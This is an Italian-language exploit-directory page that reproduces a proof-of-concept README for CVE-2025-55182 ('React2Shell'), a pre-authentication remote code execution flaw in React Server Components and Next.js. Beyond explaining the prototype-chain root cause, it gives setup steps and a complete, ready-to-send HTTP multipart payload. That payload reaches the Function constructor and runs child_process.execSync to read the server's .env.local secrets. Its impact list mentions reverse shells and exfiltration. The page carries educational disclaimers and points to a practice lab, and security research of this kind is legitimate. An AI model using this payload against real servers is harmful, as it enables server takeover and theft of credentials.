Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
poc-cve-2025-55182 — Questo repository contiene un POC di CVE-2025-55182, una vulnerabilità critica (punteggio CVSS 10.0) di esecuzione remota di codice pre-autenticazione che interessa React Server Components, nota anche come React2Shell. | Kitploit
Strumenti/GitHubGitHub/koadt/poc-cve-2025-55182
Analisi Dinamica (Sandboxing)Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubkoadt/poc-cve-2025-55182
15365 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

poc-cve-2025-55182

Questo repository contiene un POC di CVE-2025-55182, una vulnerabilità critica (punteggio CVSS 10.0) di esecuzione remota di codice pre-autenticazione che interessa React Server Components, nota anche come React2Shell.

Vedi RepositorySito web
Condividi

CVE-2025-55182 (React2Shell) - Prova di concetto

⚠️ ATTENZIONE: Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. Non utilizzare questo exploit contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test.

Panoramica

Questo repository contiene una dimostrazione proof-of-concept di CVE-2025-55182, una vulnerabilità critica di esecuzione di codice remoto senza autenticazione che interessa React Server Components.

Punteggio CVSS: 10.0 (Critico)

Versioni interessate:

  • React Server Components 19.0.0, 19.1.0, 19.1.1 e 19.2.0
  • Pacchetti: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack

Riepilogo della vulnerabilità

CVE-2025-55182 è una vulnerabilità di deserializzazione non sicura nell'implementazione del protocollo Flight di React Server Components. La vulnerabilità permette ad attaccanti non autenticati di eseguire codice JavaScript arbitrario sul server creando payload malevoli che sfruttano la traversata della catena dei prototipi e pattern di accesso non sicuri alle proprietà.

Causa principale

La vulnerabilità deriva da come React Server Components deserializza i payload del protocollo Flight. Quando elabora i riferimenti ai moduli, il codice usa la notazione con parentesi per accedere alle proprietà (moduleExports[metadata[2]]), che attraversa l'intera catena dei prototipi JavaScript. Ciò permette agli attaccanti di fare riferimento a proprietà non esportate esplicitamente, inclusa la proprietà constructor, che fornisce accesso al costruttore globale Function.

Combinando tecniche di inquinamento dei prototipi con i meccanismi interni di elaborazione dei chunk di React, un attaccante può costruire un payload che alla fine esegue codice arbitrario attraverso il costruttore Function.

Prerequisiti

  • Burp Suite Community o Professional (o qualsiasi proxy/client HTTP)
  • Una versione vulnerabile di React.js o Next.js

Istruzioni per l'impostazione

Passo 1: Creare un progetto vulnerabile

Crea un nuovo progetto usando una versione che include i React Server Components vulnerabili:

root@kitploit:~
npx [email protected] poc-react2shell
cd poc-react2shell

Oppure usa questo repository.

Passo 2: Creare un file di ambiente di test

Crea un file .env.local nella root del progetto per dimostrare l'impatto della vulnerabilità:

root@kitploit:~
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Passo 3: Avviare il server di sviluppo

Avvia il server di sviluppo Next.js:

root@kitploit:~
npm run dev

Il server dovrebbe avviarsi su http://localhost:3000.

Passi di sfruttamento

Passo 4: Inviare il payload malevolo

  1. In Burp Suite, vai alla scheda Repeater
  2. Imposta l'URL target su http://localhost:3000/
  3. Copia e incolla l'intero payload nella finestra della richiesta
  4. Invia
Clicca per espandere
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Passo 5: Analizzare la risposta

La risposta dovrebbe contenere il contenuto del tuo file .env.local nel corpo della risposta:

Risposta

Payload

Il payload consiste in tre campi del form multipart:

Campo 0: Un oggetto chunk falso contenente:

  • Riferimenti di inquinamento dei prototipi ($1:__proto__:then)
  • Un riferimento Blob ($B1337) che innesca lo sfruttamento
  • Un oggetto _response inquinato con _prefix e _formData.get malevoli

Campo 1: Un riferimento al campo 0 ($@0)

Campo 2: Un array vuoto ([])

Il codice malevolo in _prefix legge .env.local usando child_process.execSync di Node.js e incorpora il risultato in un digest di errore.

Impatto

Questa vulnerabilità permette agli attaccanti di:

  • Eseguire codice arbitrario sul server
  • Leggere file sensibili (variabili d'ambiente, file di configurazione, ecc.)
  • Stabilire reverse shell
  • Esfiltrare dati
  • Eseguire qualsiasi operazione per cui il processo Node.js ha i permessi

Riferimenti

  • Dettagli CVE-2025-55182
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • Avviso di sicurezza React
  • Avviso di sicurezza Facebook
  • Catalogo delle vulnerabilità conosciute sfruttate di CISA
  • react2shellcve202555182

Pratica questa CVE in uno scenario reale

Vuoi sfruttare CVE-2025-55182 in un ambiente CTF pratico? Dai un'occhiata a OSS OopsSec Store, un laboratorio deliberatamente vulnerabile progettato per l'addestramento sulla sicurezza offensiva. Questa CVE è implementata come uno dei flag!


Dichiarazione di non responsabilità

Questa prova di concetto è fornita solo per scopi educativi e di ricerca sulla sicurezza. Assicurati sempre di avere un'autorizzazione scritta esplicita prima di testare vulnerabilità di sicurezza su qualsiasi sistema.

Scarica lo strumento